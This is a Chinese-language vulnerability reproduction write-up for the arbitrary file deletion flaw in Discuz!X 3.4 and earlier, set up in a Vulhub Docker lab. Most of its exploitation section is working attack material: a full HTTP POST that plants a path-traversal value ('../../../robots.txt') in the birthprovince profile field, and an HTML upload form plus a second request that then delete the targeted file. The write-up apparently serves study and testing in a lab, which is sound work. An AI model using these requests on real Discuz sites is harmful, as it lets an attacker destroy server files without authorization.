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Discuz!X ≤3.4 任意文件删除漏洞

漏洞描述

漏洞详情：https://lorexxar.cn/2017/09/30/dz-delete/

漏洞影响

Discuz!X ≤3.4

环境搭建

Vulhub执行下列命令部署 Discuz!X 安装环境

docker-compose up -d

启动后，访问http://your-ip/install/来安装discuz，只用修改数据库地址为db，其他保持默认即可。

image-20220222131339964

漏洞复现

访问http://your-ip/robots.txt可见robots.txt是存在的：

image-20220222131412780

注册用户后，在个人设置页面找到自己的formhash：

image-20220222131618637

带上自己的Cookie、formhash发送如下数据包：

POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: 192.168.174.128
Content-Length: 370
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.174.128
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW8uA1wbCsmuiargU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.174.128/home.php?mod=spacecp&ac=profile&op=base
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: AuthSession=dGhyZWVraTo2MjE0NEM0Mzrhe4V-bNxBqV-1RKA7mJS_YQrC9A; ot6_visitedfid=2; ot6_sid=9yWYy0; et56_2132_saltkey=qN7vqIdT; et56_2132_lastvisit=1645503280; et56_2132_sid=Ze005m; et56_2132_seccode=1.526c82122231460dd9; et56_2132_ulastactivity=6467KkrgcKDQNmUlDxKLd592a6DUvLlRSPU4g07eDld2bKtFo3JU; et56_2132_auth=45cdTg%2F0tTayn1c5i6fOd%2F96K8vGKx7SVg9MgaAoLalS102hICOtVzWjuDHbYtyyH8Rqe54O1WS9d%2Fa0s%2FIV; et56_2132_nofavfid=1; et56_2132_onlineusernum=1; et56_2132_noticeTitle=1; et56_2132_lastact=1645507206%09home.php%09misc
Connection: close

------WebKitFormBoundaryW8uA1wbCsmuiargU
Content-Disposition: form-data; name="formhash"

d32e951d
------WebKitFormBoundaryW8uA1wbCsmuiargU
Content-Disposition: form-data; name="birthprovince"

../../../robots.txt
------WebKitFormBoundaryW8uA1wbCsmuiargU
Content-Disposition: form-data; name="profilesubmit"

true
------WebKitFormBoundaryW8uA1wbCsmuiargU--

image-20220222132220237

提交成功之后，用户资料修改页面上的出生地就会显示成下图所示的状态：

image-20220222132303344

说明我们的脏数据已经进入数据库了。

然后，新建一个upload.html，代码如下，将其中的[your-ip]改成discuz的域名，[form-hash]改成你的formhash：

<body>
    <form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
        <input type="file" name="birthprovince" />
        <input type="submit" value="upload" />
    </form>
</body>

用浏览器打开该页面，上传一个正常图片。如果遇到下图这样的情况，需要修改数据包。

image-20220222143620386

Burpsuite抓包，将Refer和Cookie替换为正常上传数据包的值。

POST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=d32e951d HTTP/1.1
Host: 192.168.174.222
Content-Length: 3685
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.159
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKSoP7vDw487SX9LO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: [替换为http://192.168.174.128/home.php?mod=spacecp]
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: [替换为正常上传的C]
Connection: close

此时脏数据应该已被提取出，漏洞已经利用结束。

再次访问http://your-ip/robots.txt，发现文件成功被删除。

image-20220222145130066